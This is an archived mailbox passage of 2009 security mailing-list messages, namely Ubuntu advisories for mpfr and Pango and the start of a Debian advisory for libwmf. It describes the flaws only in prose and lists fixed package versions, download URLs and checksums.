===========================================================
Ubuntu Security Notice USN-772-1 May 07, 2009
mpfr vulnerability
CVE-2009-0757
===========================================================
A security issue affects the following Ubuntu releases:
Ubuntu 9.04
This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.
The problem can be corrected by upgrading your system to the
following package versions:
Ubuntu 9.04:
lib64mpfr1 2.4.0-1ubuntu3.1
libmpfr1ldbl 2.4.0-1ubuntu3.1
In general, a standard system upgrade is sufficient to effect the
necessary changes.
Details follow:
It was discovered that MPFR improperly handled string lengths in its print
routines. If a user or automated system were tricked into processing
specially crafted data with applications linked against MPFR, an attacker
could cause a denial of service or execute arbitrary code with privileges
of the user invoking the program.
Updated packages for Ubuntu 9.04:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/mpfr_2.4.0-1ubuntu3.1.diff.gz
Size/MD5: 7603 d996b99c39cae2d82db24bd5f123ade1
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/mpfr_2.4.0-1ubuntu3.1.dsc
Size/MD5: 1316 a28e504aedb1c804af4b7156a9dc3573
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/mpfr_2.4.0.orig.tar.gz
Size/MD5: 1336846 232f9d6917898e8277041bcc046fbb72
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/libmpfr-doc_2.4.0-1ubuntu3.1_all.deb
Size/MD5: 645652 a0041c74091777ecc87686fab37ab1da
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/libmpfr-dev_2.4.0-1ubuntu3.1_amd64.deb
Size/MD5: 459986 a9e110cdaf84103c6c8c5c1b09aa11a8
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/libmpfr1ldbl_2.4.0-1ubuntu3.1_amd64.deb
Size/MD5: 417730 6fba616c8ab42fda163bd35a5993d5e5
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/libmpfr-dev_2.4.0-1ubuntu3.1_i386.deb
Size/MD5: 431566 872b92cab9aa82122435a6d80c3dabb7
http://security.ubuntu.com/ubuntu/pool/main/m/mpfr/libmpfr1ldbl_2.4.0-1ubuntu3.1_i386.deb
Size/MD5: 404100 81cee51ae17a92f65a8fe8881c0417ca
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr-dev_2.4.0-1ubuntu3.1_lpia.deb
Size/MD5: 433150 d60c4b1377d722bcdfb881480079e089
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr1ldbl_2.4.0-1ubuntu3.1_lpia.deb
Size/MD5: 404108 eb59aaaefdfa8bf954ca16be35c61896
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/m/mpfr/lib64mpfr-dev_2.4.0-1ubuntu3.1_powerpc.deb
Size/MD5: 461744 a943b5f7d8566cb91405ff162e07bf14
http://ports.ubuntu.com/pool/main/m/mpfr/lib64mpfr1_2.4.0-1ubuntu3.1_powerpc.deb
Size/MD5: 407042 8646e75a38bc8c0f28ab5478a768ffdc
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr-dev_2.4.0-1ubuntu3.1_powerpc.deb
Size/MD5: 469676 05b5927c2c359dcf8060d00e14cde769
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr1ldbl_2.4.0-1ubuntu3.1_powerpc.deb
Size/MD5: 421772 e209d7e0b960f4c734547b0fc71fe56d
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr-dev_2.4.0-1ubuntu3.1_sparc.deb
Size/MD5: 444678 14b90d05922e55b437b7bf613f7a2fce
http://ports.ubuntu.com/pool/main/m/mpfr/libmpfr1ldbl_2.4.0-1ubuntu3.1_sparc.deb
Size/MD5: 403328 5af0d9a4665f3bdeb58755e32235aceb
--=-F5L5SsXjSyo07HEJeaRJ
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEABECAAYFAkoDJ/8ACgkQLMAs/0C4zNpM9QCffCzTp3ue7f1dWiNDRjYmv5Gc
T04AmgKdDkNEhwp3ZngOcZn2/FmG7ftm
=n6B4
-----END PGP SIGNATURE-----
--=-F5L5SsXjSyo07HEJeaRJ--
From - Thu May 7 15:06:24 2009
X-Account-Key: account7
X-UIDL: 4909bb8c0000775f
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40256-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing3.securityfocus.com (outgoing.securityfocus.com [205.206.231.27])
by mx.securityspace.com (Postfix) with ESMTP id 88694ECE4A
for <lists@securityspace.com>; Thu, 7 May 2009 14:58:12 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing3.securityfocus.com (Postfix) with QMQP
id 93D78237176; Thu, 7 May 2009 12:28:53 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 2943 invoked from network); 7 May 2009 18:28:24 -0000
Subject: [USN-773-1] Pango vulnerability
From: Marc Deslauriers <marc.deslauriers@canonical.com>
Reply-To: Ubuntu Security <security@ubuntu.com>
To: ubuntu-security-announce@lists.ubuntu.com
Cc: bugtraq@securityfocus.com, full-disclosure@lists.grok.org.uk
Content-Type: multipart/signed; micalg="pgp-sha1"; protocol="application/pgp-signature"; boundary="=-eqB3LrjNlabjO3oZ/PrM"
Date: Thu, 07 May 2009 14:27:51 -0400
Message-Id: <1241720871.5979.12.camel@mdlinux.technorage.com>
Mime-Version: 1.0
X-Mailer: Evolution 2.26.1
Status:
--=-eqB3LrjNlabjO3oZ/PrM
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
===========================================================
Ubuntu Security Notice USN-773-1 May 07, 2009
pango1.0 vulnerability
CVE-2009-1194
===========================================================
A security issue affects the following Ubuntu releases:
Ubuntu 6.06 LTS
Ubuntu 8.04 LTS
Ubuntu 8.10
This advisory also applies to the corresponding versions of
Kubuntu, Edubuntu, and Xubuntu.
The problem can be corrected by upgrading your system to the
following package versions:
Ubuntu 6.06 LTS:
libpango1.0-0 1.12.3-0ubuntu3.1
Ubuntu 8.04 LTS:
libpango1.0-0 1.20.5-0ubuntu1.1
Ubuntu 8.10:
libpango1.0-0 1.22.2-0ubuntu1.1
After a standard system upgrade you need to restart your session to effect
the necessary changes.
Details follow:
Will Drewry discovered that Pango incorrectly handled rendering text with
long glyphstrings. If a user were tricked into displaying specially crafted
data with applications linked against Pango, such as Firefox, an attacker
could cause a denial of service or execute arbitrary code with privileges
of the user invoking the program.
Updated packages for Ubuntu 6.06 LTS:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.12.3-0ubuntu3.1.diff.gz
Size/MD5: 4500 b522e8ff79f686ff3fdd493e8542349e
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.12.3-0ubuntu3.1.dsc
Size/MD5: 1910 c8c30bddff7defeeee80a3610405df05
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.12.3.orig.tar.gz
Size/MD5: 1707615 9abcbd996cdb1fcb6737100384a55be8
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-doc_1.12.3-0ubuntu3.1_all.deb
Size/MD5: 205394 a80e88128fd7115254e3d5133987d4ee
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.12.3-0ubuntu3.1_amd64.deb
Size/MD5: 677312 ecf591534d852001624f8435ede14209
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.12.3-0ubuntu3.1_amd64.deb
Size/MD5: 315888 0073f3bd9ede36fdfa03dc1f607d03cb
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.12.3-0ubuntu3.1_amd64.deb
Size/MD5: 35248 bb15526175751e55282920738df947e9
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.12.3-0ubuntu3.1_amd64.deb
Size/MD5: 348382 001c8a9bfe194656728952d4a611e623
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.12.3-0ubuntu3.1_amd64.udeb
Size/MD5: 211678 37d27b670d2b6015ce58678356544370
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.12.3-0ubuntu3.1_i386.deb
Size/MD5: 575498 85a732fe93794bde88a169cbe4fad19f
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.12.3-0ubuntu3.1_i386.deb
Size/MD5: 281538 4bd301b06894d6cd4e1be81678b4be2c
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.12.3-0ubuntu3.1_i386.deb
Size/MD5: 32432 7723b32675d6ad213e825e98287c7069
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.12.3-0ubuntu3.1_i386.deb
Size/MD5: 300604 9ce8e8ef85c82cabaf4e8b7bfb801c05
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.12.3-0ubuntu3.1_i386.udeb
Size/MD5: 185128 15dfeed6702d8913ee23a9b89daaa27a
powerpc architecture (Apple Macintosh G3/G4/G5):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.12.3-0ubuntu3.1_powerpc.deb
Size/MD5: 684284 3820ab5752792a0554d032237c6d049f
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.12.3-0ubuntu3.1_powerpc.deb
Size/MD5: 296486 cf4c37e916fabb50bf1f9d6563cc3086
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.12.3-0ubuntu3.1_powerpc.deb
Size/MD5: 36960 4711e9a7c92f656280145e09fabc54aa
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.12.3-0ubuntu3.1_powerpc.deb
Size/MD5: 350058 c872e045849b8f4b34c90a44b7cbb08b
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.12.3-0ubuntu3.1_powerpc.udeb
Size/MD5: 194288 9b65d99b129b9fc4189432fb3b686398
sparc architecture (Sun SPARC/UltraSPARC):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.12.3-0ubuntu3.1_sparc.deb
Size/MD5: 590364 bb12fd807bbe366bba5cb51a73ac2e86
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.12.3-0ubuntu3.1_sparc.deb
Size/MD5: 285696 9e21a78eac3650c6382b56366e5c24da
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.12.3-0ubuntu3.1_sparc.deb
Size/MD5: 32880 018271c1cffb4d64b6fb236f44dfba21
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.12.3-0ubuntu3.1_sparc.deb
Size/MD5: 321630 ba578e44ca29ff4e09f091c0cbc4d710
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.12.3-0ubuntu3.1_sparc.udeb
Size/MD5: 184978 8e97c008133b2cf71c2db6734894bb5e
Updated packages for Ubuntu 8.04 LTS:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.20.5-0ubuntu1.1.diff.gz
Size/MD5: 28413 491d5425656032d156d4060f2708ac5b
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.20.5-0ubuntu1.1.dsc
Size/MD5: 1327 8ad3e3939c92ab1511ac0f701438b23b
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.20.5.orig.tar.gz
Size/MD5: 2071747 e0fac4c2c99d903fdec3f8db60107f36
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.20.5-0ubuntu1.1_all.deb
Size/MD5: 63608 04b86269a4399c5cdf19db8c720e9a83
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-doc_1.20.5-0ubuntu1.1_all.deb
Size/MD5: 277850 b35ee97b0108333b156c64b5a85f3bf0
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-0ubuntu1.1_amd64.deb
Size/MD5: 721712 5624508e825bbe5fd64de4716f6f3875
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.20.5-0ubuntu1.1_amd64.deb
Size/MD5: 305670 2a54d8c485987a212e57f45252d5f27d
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.20.5-0ubuntu1.1_amd64.deb
Size/MD5: 387426 601d99e237fb3b42f23703aebecd7c2e
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.20.5-0ubuntu1.1_amd64.udeb
Size/MD5: 225982 24eab50f837e4df93c626e7c7704dbed
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-0ubuntu1.1_i386.deb
Size/MD5: 683650 c81d2a42d181a27706d664c18930ba16
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.20.5-0ubuntu1.1_i386.deb
Size/MD5: 283686 fc1ad92f46f1f2bf6da1b3c64ec1d96c
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.20.5-0ubuntu1.1_i386.deb
Size/MD5: 348082 05b8b3b76d2765abc8bf57decd719f2b
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.20.5-0ubuntu1.1_i386.udeb
Size/MD5: 209962 6054d5233f46eb1441a082e032b95f6b
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-0ubuntu1.1_lpia.deb
Size/MD5: 690498 b545625f176093f2319029b0150343f0
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.20.5-0ubuntu1.1_lpia.deb
Size/MD5: 281986 1689efa64b09f912c5dc7bd748c20198
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.20.5-0ubuntu1.1_lpia.deb
Size/MD5: 349140 0f04a29b457b62fc8a47a69cd7e7a17b
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.20.5-0ubuntu1.1_lpia.udeb
Size/MD5: 209410 d07b5a41402030be7a48708052f44ae6
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-0ubuntu1.1_powerpc.deb
Size/MD5: 734052 afe9bf600732f91f80d53ab81e3b3bc2
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.20.5-0ubuntu1.1_powerpc.deb
Size/MD5: 299506 7705155e437bcc8b6a45e22ea1b6cf28
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.20.5-0ubuntu1.1_powerpc.deb
Size/MD5: 394560 62cab62f7bcc2b2b938f093a3208241c
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.20.5-0ubuntu1.1_powerpc.udeb
Size/MD5: 221120 e913027b850970dce415b863cd46e37b
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.20.5-0ubuntu1.1_sparc.deb
Size/MD5: 656344 ce4cdf162e3d048722308ed068d67bbb
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.20.5-0ubuntu1.1_sparc.deb
Size/MD5: 276904 b732040e5ee1ba793858b6f62613447d
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.20.5-0ubuntu1.1_sparc.deb
Size/MD5: 361848 3b315e7cf8b0df498c022d3a9bc648d4
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.20.5-0ubuntu1.1_sparc.udeb
Size/MD5: 201780 714d774a93755adeb322ad4f5f241a6d
Updated packages for Ubuntu 8.10:
Source archives:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.22.2-0ubuntu1.1.diff.gz
Size/MD5: 29604 806703705b7572b9f8dca8d1acc5e290
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.22.2-0ubuntu1.1.dsc
Size/MD5: 1821 a5c848d38d53c249bd7d234aaf3a2495
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/pango1.0_1.22.2.orig.tar.gz
Size/MD5: 2129352 ac0187a02e34dd546f73647a7bc9d946
Architecture independent packages:
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-common_1.22.2-0ubuntu1.1_all.deb
Size/MD5: 66420 80863edb6443bb20ce85e2669fa344db
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-doc_1.22.2-0ubuntu1.1_all.deb
Size/MD5: 283724 7ebe97434d68260a1c60b8c336733578
amd64 architecture (Athlon64, Opteron, EM64T Xeon):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.22.2-0ubuntu1.1_amd64.deb
Size/MD5: 784366 c32ef609c6f1f36ca64ed0a4fe7e52de
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.22.2-0ubuntu1.1_amd64.deb
Size/MD5: 318300 a9ab95a8373d1a4ea5098c3ef617fee5
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.22.2-0ubuntu1.1_amd64.deb
Size/MD5: 403124 39853f549a42966a5bdaa2eb990d681f
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.22.2-0ubuntu1.1_amd64.udeb
Size/MD5: 237932 ae0fc762a8d1cdaad163d7ad03518bfe
i386 architecture (x86 compatible Intel/AMD):
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0-dbg_1.22.2-0ubuntu1.1_i386.deb
Size/MD5: 732012 d3edc099dadae3d1c4a73d43c1ce1ef2
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-0_1.22.2-0ubuntu1.1_i386.deb
Size/MD5: 292710 0adfe076b366794ccc98b0937df79435
http://security.ubuntu.com/ubuntu/pool/main/p/pango1.0/libpango1.0-dev_1.22.2-0ubuntu1.1_i386.deb
Size/MD5: 361702 a94869f26a32f8cf4ec0e70c66fc0421
http://security.ubuntu.com/ubuntu/pool/universe/p/pango1.0/libpango1.0-udeb_1.22.2-0ubuntu1.1_i386.udeb
Size/MD5: 220458 92a7ba465b1339115ecbc7e5179aa586
lpia architecture (Low Power Intel Architecture):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.22.2-0ubuntu1.1_lpia.deb
Size/MD5: 739278 f7b7bf341c5356184876d8a2fc9bca88
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.22.2-0ubuntu1.1_lpia.deb
Size/MD5: 291002 3a21b8d4e5173b754c3c7d4e83dd3d8e
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.22.2-0ubuntu1.1_lpia.deb
Size/MD5: 363694 d34b04083a45a6fec0d1ad03faf682c5
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.22.2-0ubuntu1.1_lpia.udeb
Size/MD5: 219562 3d4d190806c912cd36240ce0b3a5ff4d
powerpc architecture (Apple Macintosh G3/G4/G5):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.22.2-0ubuntu1.1_powerpc.deb
Size/MD5: 785118 942bf391454fe269082057ddfba3f55d
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.22.2-0ubuntu1.1_powerpc.deb
Size/MD5: 313364 74f49a139cfa99944281c39a92716f49
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.22.2-0ubuntu1.1_powerpc.deb
Size/MD5: 410838 286c7f55c0a2a134d716385b9ca766c9
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.22.2-0ubuntu1.1_powerpc.udeb
Size/MD5: 231958 4360108ddedf88938459fbd34975195c
sparc architecture (Sun SPARC/UltraSPARC):
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0-dbg_1.22.2-0ubuntu1.1_sparc.deb
Size/MD5: 698562 5f196f28580241385bd77acd0cd72aad
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-0_1.22.2-0ubuntu1.1_sparc.deb
Size/MD5: 289512 e7580d801de9a0532730a3ef1d315417
http://ports.ubuntu.com/pool/main/p/pango1.0/libpango1.0-dev_1.22.2-0ubuntu1.1_sparc.deb
Size/MD5: 376752 bcde95529c4e80a6f0aa140e40316fd3
http://ports.ubuntu.com/pool/universe/p/pango1.0/libpango1.0-udeb_1.22.2-0ubuntu1.1_sparc.udeb
Size/MD5: 212532 e18d12dbfb924f08d57869b5074310f0
--=-eqB3LrjNlabjO3oZ/PrM
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: This is a digitally signed message part
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iEYEABECAAYFAkoDKCQACgkQLMAs/0C4zNoe/QCaA+6eajnInBQ+QybZcbyr3eWK
p90An2MX9900yZddSUpjbFsRbtUuaJuz
=MIBS
-----END PGP SIGNATURE-----
--=-eqB3LrjNlabjO3oZ/PrM--
From - Thu May 7 19:16:54 2009
X-Account-Key: account7
X-UIDL: 4909bb8c00007764
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
Return-Path: <bugtraq-return-40257-lists=securityspace.com@securityfocus.com>
X-Original-To: lists@securityspace.com
Delivered-To: lists@securityspace.com
Received: from outgoing2.securityfocus.com (outgoing.securityfocus.com [205.206.231.26])
by mx.securityspace.com (Postfix) with ESMTP id 8FBD4ECC33
for <lists@securityspace.com>; Thu, 7 May 2009 19:14:34 -0400 (EDT)
Received: from lists2.securityfocus.com (lists2.securityfocus.com [205.206.231.20])
by outgoing2.securityfocus.com (Postfix) with QMQP
id 6BA0A14377B; Thu, 7 May 2009 15:29:48 -0600 (MDT)
Mailing-List: contact bugtraq-help@securityfocus.com; run by ezmlm
Precedence: bulk
List-Id: <bugtraq.list-id.securityfocus.com>
List-Post: <mailto:bugtraq@securityfocus.com>
List-Help: <mailto:bugtraq-help@securityfocus.com>
List-Unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
List-Subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
Delivered-To: mailing list bugtraq@securityfocus.com
Delivered-To: moderator for bugtraq@securityfocus.com
Received: (qmail 20392 invoked from network); 7 May 2009 21:24:52 -0000
Resent-Cc: recipient list not shown: ;
Old-Return-Path: <nion@debian.org>
X-Original-To: lists-debian-security-announce@liszt.debian.org
Delivered-To: lists-debian-security-announce@liszt.debian.org
X-Virus-Scanned: at lists.debian.org with policy bank moderated
X-Spam-Flag: NO
X-Spam-Score: -7.08
X-Spam-Level:
X-Spam-Status: No, score=-7.08 tagged_above=-10000 required=5.3
tests=[FOURLA=0.1, FVGT_m_MULTI_ODD=0.02, IMPRONONCABLE_2=1,
LDO_WHITELIST=-5, MURPHY_WRONG_WORD1=0.1, MURPHY_WRONG_WORD2=0.2,
PGPSIGNATURE=-5, PHONENUMBER=1.5] autolearn=ham
X-policyd-weight: DYN_NJABL=SKIP(0) NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 DSBL_ORG=SKIP(0) CL_IP_EQ_HELO_IP=-2 (check from: .debian. - helo: .mo-p05-fb.rzone. - helo-domain: .rzone.) FROM/MX_MATCHES_NOT_HELO(DOMAIN)=0; rate: -5
X-RZG-AUTH: :KHkJeFmIefYsEPPKCBl/ZNLv/wXfcKuujweZef2IiPbnG1Hpql+PuSVCXPTLuieFew=X-RZG-CLASS-ID: mo05
Date: Thu, 7 May 2009 18:21:33 +0200
From: Nico Golde <nion@debian.org>
Message-ID: <20090507162133.GA8784@ngolde.de>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; x-action=pgp-signed
Content-Disposition: inline
X-Mailer: netcat 1.10
X-GPG: 0x73647cff
X-Debian: PGP check passed for security officers
Subject: [SECURITY] [DSA 1796-1] New libwmf packages fix denial of service
Priority: urgent
Resent-Message-ID: <CI5_ambNq2D.A.FTH.gG1AKB@liszt>
Reply-To: listadmin@securityfocus.com
Mail-Followup-To: bugtraq@securityfocus.com
To: bugtraq@securityfocus.com
Resent-Date: Thu, 7 May 2009 21:24:48 +0000 (UTC)
Resent-From: list@liszt.debian.org (Mailing List Manager)
Status:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
- --------------------------------------------------------------------------
Debian Security Advisory DSA-1796-1 security@debian.org
http://www.debian.org/security/ Nico Golde
April 7th, 2009
http://www.debian.org/security/faq
- --------------------------------------------------------------------------
Package : libwmf
Vulnerability : pointer use-after-free
Problem type : local (remote)
Debian-specific: no
Debian bug : 526434
CVE ID : CVE-2009-1364
Tavis Ormandy discovered that the embedded GD library copy in libwmf,
a library to parse windows metafiles (WMF), makes use of a pointer
after it was already freed. An attacker using a crafted WMF file can
cause a denial of service or possibly the execute arbitrary code via
applications using this library.
For the oldstable distribution (etch), this problem has been fixed in
version 0.2.8.4-2+etch1.
For the stable distribution (lenny), this problem has been fixed in
version 0.2.8.4-6+lenny1.
For the testing distribution (squeeze), this problem will be fixed soon.
For the unstable distribution (sid), this problem has been fixed in
version 0.2.8.4-6.1.
We recommend that you upgrade your libwmf packages.
Upgrade instructions
- --------------------
wget url
will fetch the file for you
dpkg -i file.deb
will install the referenced file.
If you are using the apt-get package manager, use the line for
sources.list as given below:
apt-get update
will update the internal database
apt-get upgrade
will install corrected packages
You may use an automated update by adding the resources from the
footer to the proper configuration.
Debian GNU/Linux 4.0 alias etch
- -------------------------------
Debian (oldstable)
- ------------------
Oldstable updates are available for alpha, amd64, arm, hppa, i386, ia64, mips, mipsel, powerpc, s390 and sparc.
Source archives:
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4-2+etch1.diff.gz
Size/MD5 checksum: 7644 2b4fed248a00761fd52d0121b1a85bc3
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4-2+etch1.dsc
Size/MD5 checksum: 777 3cee5266c519e54d0da6af8e7bfce4fb
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf_0.2.8.4.orig.tar.gz
Size/MD5 checksum: 2169375 d1177739bf1ceb07f57421f0cee191e0
Architecture independent packages:
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-doc_0.2.8.4-2+etch1_all.deb
Size/MD5 checksum: 285000 dad2e5a29f12e8eb1044aa0e8711f9ca
alpha architecture (DEC Alpha)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_alpha.deb
Size/MD5 checksum: 20778 cb687c76275147f88647cc66432c7e19
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_alpha.deb
Size/MD5 checksum: 266074 b339918318e45eb257f17a118189ce84
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_alpha.deb
Size/MD5 checksum: 202096 d17c7648e7a36c487cc350a2337a9895
amd64 architecture (AMD x86_64 (AMD64))
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_amd64.deb
Size/MD5 checksum: 18236 c297e08f3ef5b051539e953e86c079ef
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_amd64.deb
Size/MD5 checksum: 181534 84d6098d1c8664b140af1133a2131a21
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_amd64.deb
Size/MD5 checksum: 207970 38bb87b9709162127b1781f1f94faabd
arm architecture (ARM)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-bin_0.2.8.4-2+etch1_arm.deb
Size/MD5 checksum: 17282 babef9667a9f4b08caefd35768a3a46d
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_arm.deb
Size/MD5 checksum: 193728 e746d7645a15cd86949b100cdf45b40d
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf0.2-7_0.2.8.4-2+etch1_arm.deb
Size/MD5 checksum: 171004 5a3619cbce2f2a5c372b95264b89deeb
hppa architecture (HP PA RISC)
http://security.debian.org/pool/updates/main/libw/libwmf/libwmf-dev_0.2.8.4-2+etch1_hppa.deb
